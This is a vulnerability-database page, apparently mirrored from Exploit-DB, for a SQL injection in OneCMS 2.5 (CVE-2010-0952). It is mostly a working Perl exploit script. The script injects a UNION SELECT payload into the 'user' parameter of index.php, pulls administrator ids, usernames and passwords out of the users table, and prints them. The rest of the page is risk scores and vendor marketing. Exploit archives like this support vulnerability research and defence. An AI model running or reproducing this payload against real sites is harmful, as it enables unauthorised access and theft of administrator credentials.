Lucene search
+L

OneCMS 2.5 - SQL Injection

🗓️ 05 Mar 2010 00:00:00Reported by Ctacok & .:[melkiy]:Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

ONECMS 2.5 SQL Injection exploit. Requires Magic_quotes to be off. Vulnerable version: 2.5, Tested on Ubuntu 9.10 Apache2+PHP5

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2010-0952
9 Mar 201020:00
cve
Cvelist
CVE-2010-0952
9 Mar 201020:00
cvelist
EUVD
EUVD-2010-0977
7 Oct 202500:30
euvd
NVD
CVE-2010-0952
10 Mar 201020:14
nvd
Prion
Sql injection
10 Mar 201020:14
prion
# Exploit Title: ONECMS v2.5 SQL INJECTION
# Date: 05.03.2010
# Author: Ctacok and .:[melkiy]:.
# Software Link: http://sourceforge.net/projects/onecms/
# Version: 2.5
# Tested on: Ubuntu 9.10 Apache2+PHP5

#!/usr/bin/perl
use LWP::Simple;
print "\n";
print "##############################################################\n";
print "# ONECMS v2.5 SQL INJECTION                                  #\n";
print "# Bug founded by: .:[melkiy]:.                               #\n";
print "# Exploit coded by: Ctacok                                   #\n";
print "# Special for Antichat (forum.antichat.ru)                   #\n";
print "# Require : Magic_quotes = Off                               #\n";
print "##############################################################\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ prefix \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$prefix=$ARGV[2];   #  PREFIX TABLES, Default: onecms
$vuln = "-2'+union+select+1,2,3,4,5,6,7,8,concat(0x3a3a3a,id,0x3a,username,0x3a,password,0x3a3a3a),10,11+from+".$prefix."_users";
$doc = get($host.$path."index.php?load=elite&user=".$vuln."+--+");
if ($doc =~ /:::(.+):(.+):(.+):::/){
        	print "\n[+] Admin id: : $1";
		print "\n[+] Admin email: $2";
		print "\n[+] Admin password: $3";
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Mar 2010 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.0095
34